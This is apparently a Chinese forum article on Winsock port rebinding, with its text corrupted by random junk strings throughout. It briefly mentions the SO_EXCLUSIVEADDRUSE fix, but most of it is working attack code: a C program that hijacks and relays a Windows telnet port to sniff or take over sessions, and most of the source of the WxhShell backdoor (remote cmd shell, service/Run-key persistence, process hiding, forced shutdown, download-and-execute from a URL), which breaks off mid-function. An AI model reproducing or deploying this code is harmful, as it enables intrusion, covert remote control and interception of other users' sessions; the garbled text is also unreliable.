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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
+ y.IDn^ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @+1E|4L1vf *{4cc saddr.sin_family = AF_INET; JIb<>X, Pms3X saddr.sin_addr.s_addr = htonl(INADDR_ANY); xOT'4v&. K-
}k-S bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `r*6P^P q'(WIv@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !+uMH! -(cm 这意味着什么?意味着可以进行如下的攻击: #]lUJ
&M}e 8.pz?{**T 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Wlg(z% <Dm6CH 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) + {hxEDz pDkT_6Q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %\~;I73 )lw7W9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 MruWt* $+Pv
fQ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a
m<R!( Z$zUy|s[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \)M5o Ysr{1! K 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ys#M*
{? p~8~EQFj #include X3W)c&Pr #include M8[YW|VkP #include @O45s\4-* #include hsqUiB tc6 DWORD WINAPI ClientThread(LPVOID lpParam); W$'pUhq\H int main() /kw4":{] { yN>"r2 WORD wVersionRequested; ^OBaVb DWORD ret; W77JXD93 WSADATA wsaData; &V=54n=O? BOOL val; s=%HT fw SOCKADDR_IN saddr; p,tB SOCKADDR_IN scaddr; x *qef_Hu int err; xh-[]Jz( SOCKET s; s`#hk^{ SOCKET sc; :/~vaCZ int caddsize; d:pp,N~2o HANDLE mt; h.?[1hT4R DWORD tid; G0Wd"AV+ wVersionRequested = MAKEWORD( 2, 2 ); zl:
u@!' err = WSAStartup( wVersionRequested, &wsaData ); \B}W(^\wg; if ( err != 0 ) { c<DYk f printf("error!WSAStartup failed!\n"); Ra{B8)Q return -1; k oHY
AF } @\"*Z&]8z0 saddr.sin_family = AF_INET; g u|;C _O!D*=I //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BPG)m,/b Q5<vK{ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); cEqh|Q saddr.sin_port = htons(23); z!3Z^d` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rmabm\QY { %'=oMbi>i4 printf("error!socket failed!\n"); :%>8\q>UX return -1; M`>W'< }
KbUX(9+B val = TRUE; @wFm])}0 //SO_REUSEADDR选项就是可以实现端口重绑定的 Cfi2N V if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D46|)- { d|o"QYX printf("error!setsockopt failed!\n"); I2W2B3D` c return -1; Vks,3$ } NDg]s2T //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K[kmfXKu //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GDcV1$NA //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 z9+94<J D/:)rj14b if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) IL\mFjZ' { e`~q;?: ret=GetLastError(); WuNu}Ibl}m printf("error!bind failed!\n"); kyjH~mK4 return -1; yBe/UFp+ } xg^fM@#m listen(s,2); N|~&Q!A& while(1)
k9n { <Z__Q caddsize = sizeof(scaddr); rL
s6MY //接受连接请求 B_&PK7vA sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 41zeN++ if(sc!=INVALID_SOCKET) ZbrE m { IRU2/Y cg mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R/wSGP`W if(mt==NULL) up1aFzY|6x { B.G!7>= printf("Thread Creat Failed!\n"); eLTNnz break; BE+YqT } YHA[PF
} sy`s$Ed! CloseHandle(mt); +|H'Ij$ } ~ZNhU;%YW closesocket(s); Q|1bF!#(1 WSACleanup(); &7W6IM return 0; EsWszpRqb } G6,8Xwk DWORD WINAPI ClientThread(LPVOID lpParam) MYPcH\K$h { "pPNlV]UA^ SOCKET ss = (SOCKET)lpParam; oTfbx+i/G SOCKET sc;
KC(Ug4 unsigned char buf[4096]; ^~aSrREo SOCKADDR_IN saddr; |pgkl` long num; j<KC$[Kt DWORD val; I;v`o{ DWORD ret; OZ" <V^"` //如果是隐藏端口应用的话,可以在此处加一些判断 Imwx~eo //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 OKqpc;y:D saddr.sin_family = AF_INET; 0?7uqS#L saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Vj]kJ,j\y saddr.sin_port = htons(23); X^W>
"q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~"mZ0E { I I8nz[s printf("error!socket failed!\n"); 9y4rw]4zI return -1; d!t@A } (FaT{W{ val = 100; nKO&ffb'< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) } 8P}L@q { #TgJ d ret = GetLastError(); +B m+Pj> return -1; @ 7?_Yw } RI(uG-Y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~ YK<T+ { `Z/ IW ret = GetLastError(); BQU5[8l return -1; "(NHA+s/ } @5y(>>C}8% if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vxeT[/6i { `Ek !;u> printf("error!socket connect failed!\n"); r$F]e]Ic\ closesocket(sc); p.9v<I%0 closesocket(ss); y]l"u=$Tr{ return -1; <J)A_Kx[57 } %RN-J*s] while(1) ay_D.gxz { #H[4?4r //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {K:Utdu($q //如果是嗅探内容的话,可以再此处进行内容分析和记录 xu=B //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j;v%4G num = recv(ss,buf,4096,0); [hL1PWKs if(num>0) )sf~l6 send(sc,buf,num,0);
@__;RVQ else if(num==0) Nd_@J& break; `I8^QcP num = recv(sc,buf,4096,0); ,}tdfkZFYl if(num>0) IDh`0/i] send(ss,buf,num,0); Zir`IQ$ else if(num==0) SR&
mHI-f0 break;
nvPE
N } D-GU"^-9 closesocket(ss); H/k W
:k closesocket(sc); n@;x!c< + return 0 ; $3'+V_CZ3 } !C#RW=h9 C._sgO eeU$uR ========================================================== @MB _gt)7? XKX,7 下边附上一个代码,,WXhSHELL 4Aew
)
~(j'a!#Vvk ========================================================== xLI{=sL U
0RfovJ #include "stdafx.h" |{)xC= (nD$%/uK' #include <stdio.h> 1fFb7n~3 #include <string.h> S;Z3v)E-f #include <windows.h> &fW=5' #include <winsock2.h> yCIgxPv|7 #include <winsvc.h> c@-K #include <urlmon.h> ;p
5v3<PC DBBBpb~~ #pragma comment (lib, "Ws2_32.lib") 5%+}rSn7 #pragma comment (lib, "urlmon.lib") 1=Zw=ufqV aT!9W'uY #define MAX_USER 100 // 最大客户端连接数 ?=!XhU
. #define BUF_SOCK 200 // sock buffer aNC,ccm #define KEY_BUFF 255 // 输入 buffer :bRR(sP ph?0I:eU #define REBOOT 0 // 重启 <cv1$
x ~P #define SHUTDOWN 1 // 关机 3DAGW"F %hbLT{w
#define DEF_PORT 5000 // 监听端口 ,/6:bc:W +MZO%4 #define REG_LEN 16 // 注册表键长度 X8
)>}#: #define SVC_LEN 80 // NT服务名长度 cIvYfgIo9 e=l5j"gq // 从dll定义API ~H|LWCU)K8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RLz`aBT typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZQ9oZHU m typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _S2^;n? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h
^h-pd M`P]cX)x // wxhshell配置信息 Oawr S{ struct WSCFG { Z'NbHwW} int ws_port; // 监听端口 N>fYH.c3Y char ws_passstr[REG_LEN]; // 口令 r!$NZ2I int ws_autoins; // 安装标记, 1=yes 0=no 'e>sHL char ws_regname[REG_LEN]; // 注册表键名 cNo4UZvr char ws_svcname[REG_LEN]; // 服务名 i!W8Q$V char ws_svcdisp[SVC_LEN]; // 服务显示名 ]cqZ!4?_ char ws_svcdesc[SVC_LEN]; // 服务描述信息 z|]oM#Gt char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !mxh]x<e int ws_downexe; // 下载执行标记, 1=yes 0=no SxZ^ "\H char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" %<C
G|]W char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F|Dz]ar DIqT>HHZ }; pOVghllO fuD1U}c // default Wxhshell configuration .Spi$>v struct WSCFG wscfg={DEF_PORT, y8hg8J| "xuhuanlingzhe",
.x!7 1, StZRc\k "Wxhshell", >3`ctbe "Wxhshell", nqxq@.L2 "WxhShell Service", VuMDV6^Z "Wrsky Windows CmdShell Service", sRyw\v-=P "Please Input Your Password: ", 2v9s@k/k)6 1, K%c ATA3 " http://www.wrsky.com/wxhshell.exe", 6G<Hi"I "Wxhshell.exe" Cre0e$ a }; mU+FQX nn)`eR& // 消息定义模块 tM$0 >E char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j t`p<gI char *msg_ws_prompt="\n\r? for help\n\r#>"; `H2F0{\og char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; '^ e/F)0 char *msg_ws_ext="\n\rExit."; sL7`=a.&T char *msg_ws_end="\n\rQuit."; BY4 R@) char *msg_ws_boot="\n\rReboot..."; 5'kTe= char *msg_ws_poff="\n\rShutdown..."; K"k"ml<4E char *msg_ws_down="\n\rSave to "; :Q
r7:$S^ c_G-R+ char *msg_ws_err="\n\rErr!"; bN4&\d*u# char *msg_ws_ok="\n\rOK!"; 7 xp1\j0 )YnI!v2T char ExeFile[MAX_PATH]; @x=BJuUuX int nUser = 0; bmO__1 HANDLE handles[MAX_USER]; 3KG) 6)1* int OsIsNt; 4ljvoJ}xjr ]\a\6&R SERVICE_STATUS serviceStatus; \buZ? SERVICE_STATUS_HANDLE hServiceStatusHandle; <Sprp]n
7 zK>'tFU // 函数声明 Ie2w0Cs28 int Install(void); .hQ3A" int Uninstall(void); CFBUQMl> int DownloadFile(char *sURL, SOCKET wsh); GIC"-l1\ int Boot(int flag); 2-6.r_ void HideProc(void); /G)KkBC int GetOsVer(void); 7/&C;" int Wxhshell(SOCKET wsl); -[f"r` void TalkWithClient(void *cs); sw$R2K{y int CmdShell(SOCKET sock); !k:zLjtp int StartFromService(void); \2R`q*a+ int StartWxhshell(LPSTR lpCmdLine); 4h;f>BG {V%%^Zhwy VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [/AdeR VOID WINAPI NTServiceHandler( DWORD fdwControl ); k,;lyE yul<n>X| // 数据结构和表定义 0r0\b*r SERVICE_TABLE_ENTRY DispatchTable[] = <t[Z9s$n { ?v"K1C1. {wscfg.ws_svcname, NTServiceMain}, +(z_"[l" {NULL, NULL} yp[<9%Fi }; 'z +$3\5L d^Zo35X // 自我安装 >?>u bM`, int Install(void) +Q SxYV { 7cUR.PI#Q char svExeFile[MAX_PATH]; s`Yu"s
8}4 HKEY key; iJ`%yg, strcpy(svExeFile,ExeFile); qXrt0s[ I
9{40_ // 如果是win9x系统,修改注册表设为自启动 A;fB6 if(!OsIsNt) { ;!l*7}5X= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #gX%X~w$F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vz;7} Zj] RegCloseKey(key); A*\o
c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tA!
M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IS,zy+w RegCloseKey(key); DnNt@e2| return 0; Hi; K"H]x1 } OX)#F'Sl} } #MhNdH# } < v|%K.yd else { |t4Gz1"q=8 Tn4W\?R // 如果是NT以上系统,安装为系统服务 ;g:
U[cE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l~]hGLviJE if (schSCManager!=0) [Krm .) { t4f
(Y,v SC_HANDLE schService = CreateService pBSq%Hy: ( RP4Ku9hk schSCManager, j]rz] k wscfg.ws_svcname, iEyeX0nm wscfg.ws_svcdisp, |I;$M;'r& SERVICE_ALL_ACCESS, gb|Q%LS9R SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )?! [}t SERVICE_AUTO_START, Ah69
_>N`S SERVICE_ERROR_NORMAL, #'baPqdO svExeFile, hsRvr`#m| NULL, SkQswH NULL, `{v?6:G:Q NULL, b\7iY&.C| NULL, ]b?9zeT*'l NULL kS5_
); q!~ -(&S if (schService!=0) -e GL) M { o+B:#@9? CloseServiceHandle(schService); 26?W
nu60 CloseServiceHandle(schSCManager); "_UdBG strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ENVk{QE! strcat(svExeFile,wscfg.ws_svcname); 68fiG if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bBcp9C)iY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 72uz<i!&$ RegCloseKey(key); T4/fdORS return 0; R7jmv n } CK+d!Eg } PQmq5N6 CloseServiceHandle(schSCManager); ;h=*!7:
} pO Iq%0] } Oc].@Jy .R*!aK return 1; NH<gU_s8{9 } !`JHH& k,F"-K+M // 自我卸载 /'2O.d0}. int Uninstall(void) ^g1f X1 { 0-Y:v(|. HKEY key; 1F8 W9b^D .{KjEg 6 if(!OsIsNt) { wFh8?Z3u_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #eZ6)i< RegDeleteValue(key,wscfg.ws_regname); U6ZR->: RegCloseKey(key); EJ}!F?o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rPNb\Ri RegDeleteValue(key,wscfg.ws_regname); tY${M^^<J RegCloseKey(key); ?^mi3VM return 0; h}_~y'^! } 0kQPJWF } 9fnA } HW4.zw else { Pz#7h*;cw. 'TC/vnM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sbkQ71T: if (schSCManager!=0) XfE?C:v { `!:q;i]} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &c(WE
RW?- if (schService!=0) AsS$C&^ { f %lD08Sl if(DeleteService(schService)!=0) { -!;l~#K= CloseServiceHandle(schService); p^nL&yIW,% CloseServiceHandle(schSCManager); $8USyGi3J return 0; .?p\n7 } q+KzIde|% CloseServiceHandle(schService); P&d"V< } +;g{$da5 CloseServiceHandle(schSCManager); ?&LZB}1R } b `2|I { } cfox7FmW [%50/_h return 1; x83
!C}4: } 8zLY6@ &R|/t:DN // 从指定url下载文件 YSJy` int DownloadFile(char *sURL, SOCKET wsh) >-_d CNZ { nVu&/ HRESULT hr; ANIz,LS char seps[]= "/"; wiaX&-c]8 char *token; Q9d`zR] char *file; E3@QI?n^^ char myURL[MAX_PATH]; n9pN6,o+ char myFILE[MAX_PATH]; Q%/<ZC.Mz6 $Y=T&O strcpy(myURL,sURL); BQcE9~H token=strtok(myURL,seps); Am8x74? while(token!=NULL) tt%MoQ) { ;fw1 file=token; GV)<Q^9 token=strtok(NULL,seps); e*(b } %}86D[PF nf1#tlIJd GetCurrentDirectory(MAX_PATH,myFILE); d!KsNkk strcat(myFILE, "\\"); pA{ 5V9 strcat(myFILE, file); )$w*V9d send(wsh,myFILE,strlen(myFILE),0); w;Q;[:y send(wsh,"...",3,0); TI9UXa:V\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bX.ja;; if(hr==S_OK) _3]][a, return 0; as=m`DqOh else 79\JxiSB return 1; Lokl2o` pLMRwgzr } "MIq.@8ra h'
!imQ // 系统电源模块 LlBN-9p int Boot(int flag) |
ohL]7b< { 9}B`uJ HANDLE hToken; {bO|409>W TOKEN_PRIVILEGES tkp; 9]t[J_YM GDYFU*0 if(OsIsNt) { jjJ2>3avY OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LZ@|9!KDw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8/z3=O& tkp.PrivilegeCount = 1; =AVgIv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ro2d,' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *9)SmSs if(flag==REBOOT) { j@Yi`a(sdm if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %{6LUn return 0; ^m_yf|D$ } rF\"w0J_ else { B\g]({E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +GsWTEz return 0; `OymAyEYQ } H3{GmV8 } ]|_\xO( else { Tz2-Bp]h if(flag==REBOOT) { DO7W}WU if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s4_/&h return 0; :';L/x> } A`{y9@h( else { kY]W
Qu if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %+ZJhHT return 0; 4@.|_zY } yfU<UQ!1 } %AOIKK5 p0.|< return 1; ]d[ge6 } }HEvr)v9 :Q+5,v-c // win9x进程隐藏模块 {{C`mgC void HideProc(void) gn5)SP 8 { [P|[vWO t>B^q3\q? HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E{HY!L[ if ( hKernel != NULL ) Iqs+r? { 4h6k`ie!$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yGg,$WM ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]4+s$rG FreeLibrary(hKernel); _md=Q$9!m } Khh0*S8.K _ >`X]I; return; IPuA#C } bbxLBD' z9W`FBg // 获取操作系统版本 1GEK:g2B int GetOsVer(void) "QoQ4r<| { X &2oPo OSVERSIONINFO winfo; K; FW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5=(c% GetVersionEx(&winfo); MJj4Hd if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SM[Bv9|0 return 1; $o@R^sJ else `k\grr.J return 0; VC5_v62&. } # N~,F@t W;?(,xx // 客户端句柄模块 VcK}2<8:+~ int Wxhshell(SOCKET wsl) 3CTX -#)vS { T5wjU*=IL SOCKET wsh; OPpjuIRv struct sockaddr_in client; 66snC{gU DWORD myID; 5)1+~ B ctQbp~- while(nUser<MAX_USER) v"+k~:t* { 59(U `X int nSize=sizeof(client); 9ykM3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o6"*4P| if(wsh==INVALID_SOCKET) return 1; Do?P<x o Z: 2I/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *X%m@KLIKv if(handles[nUser]==0) %Qn(rA@9 closesocket(wsh); Gt9wR else HOt>}x nUser++; j-]&'-h}# } x}fn'iUnm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;D ~L| ]TO/kl/ return 0; ,KW;2t*IQ@ } "cho }X 0Flu\w/+P // 关闭 socket uK*Nu^ void CloseIt(SOCKET wsh) xu%'GZ,o9 { lp&!lb` closesocket(wsh); )"@t6. nUser--; &!7+Yb(1 ExitThread(0); OQ_stE2i } l52a\/ L^9HH)Jc // 客户端请求句柄 Y{Ap80'\6 void TalkWithClient(void *cs) "5DJu~ { .I?@o8'x ^Uw[x\%#gD SOCKET wsh=(SOCKET)cs; 5#:pT char pwd[SVC_LEN]; ateUpGM QU char cmd[KEY_BUFF]; 5?u[XAE char chr[1]; 7u11&(Lz int i,j; 2iXoj&3e &R$Q\, while (nUser < MAX_USER) { u7]<=*V] #*IVlchA"B if(wscfg.ws_passstr) { sn\;bq if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wuK=6RL //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K\=8eg93Z //ZeroMemory(pwd,KEY_BUFF); I/u9RmbU i=0; HR{s&ho while(i<SVC_LEN) { [$:,-Q @ tFU;SBt8Ki // 设置超时 &/F_*=VE fd_set FdRead; P;foK)AM struct timeval TimeOut; k0K A ~ FD_ZERO(&FdRead); 4KIWb~0Y FD_SET(wsh,&FdRead); mX_)b>iW TimeOut.tv_sec=8; 9 pKm*n& TimeOut.tv_usec=0; #qL9{P<} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oj.lj! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {Bs+G/?o/ }5S2p@W) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A!HK~yk~Q pwd =chr[0]; =:K@zlO: if(chr[0]==0xd || chr[0]==0xa) { Lo3-X pwd=0; c8Pb break; X\A]"su } S=9E@(] i++; OD4W}Y. } _EKF-&Q6 gRvJ.Q {h // 如果是非法用户,关闭 socket >}]H;&
l if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kyAs'R@z } &c^7O#j ./iXyta send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {CP o<lz send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O)<r>vqe} Uz>Yn&{y6 while(1) { F ?mA1T>x {5x>y:v ZeroMemory(cmd,KEY_BUFF); sMJ#<w}Q %Rn:GK // 自动支持客户端 telnet标准 qRUCnCZs j=0; u[[/w&UV., while(j<KEY_BUFF) { "'aqb~j^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3;D?|E]1 cmd[j]=chr[0]; $~o3}&az if(chr[0]==0xa || chr[0]==0xd) { R<j<.h cmd[j]=0; G-8n break; 2mOfsn d@ } g^n;IE$B j++; 8l?w=)Qy } wz@/5c/u 5=.7\#D // 下载文件 'Z$jBL if(strstr(cmd,"http://")) { -&7=uRQk send(wsh,msg_ws_down,strlen(msg_ws_down),0); A?sNXhh if(DownloadFile(cmd,wsh)) r&/D~g\"|[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ])68wqD else }{#7Z8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9<~,n1b>x } QS%,7'EG else { 5
2fO)! F]Pul|.l switch(cmd[0]) { % IPyCEJD dc)wu] // 帮助 (A|B@a!Y> case '?': { X`tOO send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \hu':@} break; d)9PEtI } y!BB7cK6 // 安装 =X<)5IS3 case 'i': { .0KOnLdK if(Install()) %!D_q~"H send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3me<~u else @V7;TJk send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pO5v*oONz+ break; vN'VDvVM } fg< (bXC // 卸载 $kM' case 'r': { #fJwC7 4 if(Uninstall()) /;[}=JL<Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); {W]bU{%. else 7d%A1}Bq$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }isCvb break; +q$xw}+PK } vRq=m8 // 显示 wxhshell 所在路径 <tGI]@Nwk case 'p': { aViJ char svExeFile[MAX_PATH]; `\nON strcpy(svExeFile,"\n\r"); f&+XPd % strcat(svExeFile,ExeFile); c&0;wgieg send(wsh,svExeFile,strlen(svExeFile),0); 5/zf
x break; (ej:_w1 } 6yy|V~5 // 重启 rDK;6H:u{ case 'b': { ^mS.HT=X send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?r^
hmu"a if(Boot(REBOOT)) .G7]&5s send(wsh,msg_ws_err,strlen(msg_ws_err),0); UZ[/aq else { Fc34Y0_A closesocket(wsh); {d&X/tT ExitThread(0); \ 9[NH/.Z{ } cfrvy^>, break; G5y]^P } C.b,]7i // 关机 UIC\CP d case 'd': { 9;>@"e21R send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ec7{BhH) if(Boot(SHUTDOWN)) pCB
5wB send(wsh,msg_ws_err,strlen(msg_ws_err),0); 94Kuy@0:+ else { /k4^& closesocket(wsh); sBeP;ox ExitThread(0); lGD%R'} } ^KaqvG$ed break; L:|X/c9r[ } +0oyt? // 获取shell 0A#9C09 case 's': { 7/5NaUmPTt CmdShell(wsh); v^y}lT closesocket(wsh); 9 AQ96 ExitThread(0); bQ|#_/? break; j?d;xj } D:ql^{~ // 退出 \]L::"![? case 'x': { Q2_WH)J 3 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XwKZv0ub CloseIt(wsh); al3BWRq'f break; i/C
-{+}U } 1)P<cNj // 离开 8|S1|t, case 'q': { 41
c^\1 send(wsh,msg_ws_end,strlen(msg_ws_end),0); YYZs#_ closesocket(wsh); Et@=Ic^E WSACleanup(); P!)7\.7 exit(1); 6.`} &E break; Y1yvI } Q*mMF@-: } mCC:}n"# } gr[ "A pR@GvweA // 提示信息 9 :K if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3;t@KuQ66 } cW~6@&zp } (TbB?X} ^Q43)H0 return; :Z*02JwK } )LMBxyS Y|x6g(b // shell模块句柄 ,,wyydG int CmdShell(SOCKET sock) &Gy'AUz- { 5wE !_ng>| STARTUPINFO si; pT_e;,KW
U ZeroMemory(&si,sizeof(si)); >r4Y\"/j si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %DND&0` si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =?I1V#. PROCESS_INFORMATION ProcessInfo; )@lo ';\ char cmdline[]="cmd"; "z(fBnv CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v @I^:I return 0; ./BP+\)lO } u%gm+NneK #LNB@E // 自身启动模式 #(7RX} int StartFromService(void)
:[X}.]" { |V~(mS747: typedef struct ;hfG${l; { 1vR#FE? DWORD ExitStatus; YRM6\S)py DWORD PebBaseAddress; |qudJucV DWORD AffinityMask; E{k%d39> DWORD BasePriority; D!D%. ULONG UniqueProcessId; xdTzG4 ULONG InheritedFromUniqueProcessId; ]K0,nj*\c } PROCESS_BASIC_INFORMATION; EK- bvZ I;":O"ij\ PROCNTQSIP NtQueryInformationProcess; -WHwz m ow>[#.ua static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r<f-v_bxF static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J\,e/{,X ?;.+A4 HANDLE hProcess; ;xkf?| PROCESS_BASIC_INFORMATION pbi; )>A%FL9 lj}1'K@M HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )mo|.L0 if(NULL == hInst ) return 0; @}rfY9o' EpoQV ^Ey g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DrCfC[A~] g_pGetModuleBaseName = 